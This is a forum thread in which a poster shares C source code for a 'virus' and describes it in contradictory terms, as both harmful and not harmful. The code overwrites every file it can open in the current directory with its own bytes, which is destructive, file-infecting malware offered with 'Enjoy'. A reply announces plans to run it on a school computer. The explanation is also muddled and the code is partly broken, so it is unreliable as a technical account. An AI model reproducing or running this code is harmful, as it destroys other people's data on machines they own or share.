How To Create A Virus Using C Programming

Discussion in 'Computer Related' started by pritamkrish, Jul 4, 2016.

  1. pritamkrish

    pritamkrish ★★★★

    Messages:
    101
    Likes Received:
    54
    Another easy method of how to computer create a virus is using the C programming. This is also one of the best and easiest methods of creating a harmful virus which would corrupt the OS of the PC or laptop. In addition, you can employ this program on other drives besides c

    Basically, the below given C programming is a clear example of how to create a computer virus which is not harmful. The program demonstrates clearly on how to make a computer virus which executed would create a copy of the a file similar to itself and it would spread the given infection to other files present in the system. Now what happens is the other files which are present in the PC get infected and the infected file would in turn become a virus when again when executed would spread the infection to other files too.
    The below given is the source code for the virus program:

    #include<stdio.h>
    #include<io.h>
    #include<dos.h>
    #include<dir.h>
    #include<conio.h>
    #include<time.h>
    FILE *virus,*host;
    int done,a=0;
    unsigned long x;
    char buff[2048];
    struct ffblk ffblk;
    clock_t st,end;

    void main()
    {
    st=clock();
    clrscr();
    done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
    while(!done)
    {
    virus=fopen(_argv[0],”rb”);
    host=fopen(ffblk.ff_name,”rb+”);
    if(host==NULL) goto next;
    x=89088;
    printf(“Infecting %sn”,ffblk.ff_name,a);
    while(x>2048)
    {
    fread(buff,2048,1,virus);
    fwrite(buff,2048,1,host);
    x-=2048;
    }
    fread(buff,x,1,virus);
    fwrite(buff,x,1,host);
    a++;
    next:
    {
    fcloseall();
    done=findnext(&ffblk);
    }
    }
    printf(“DONE! (Total Files Infected= %d)”,a);
    end=clock();
    printf(“TIME TAKEN=%f SECn”,
    (end-st)/CLK_TCK);
    getch();

    Enjoy....
    Ishant Vivek likes this.
  2. Ishant Vivek

    Ishant Vivek ★★★ ProActive

    Messages:
    86
    Likes Received:
    8
    Will try this on my school pc, lol. Thanks for sharing. :D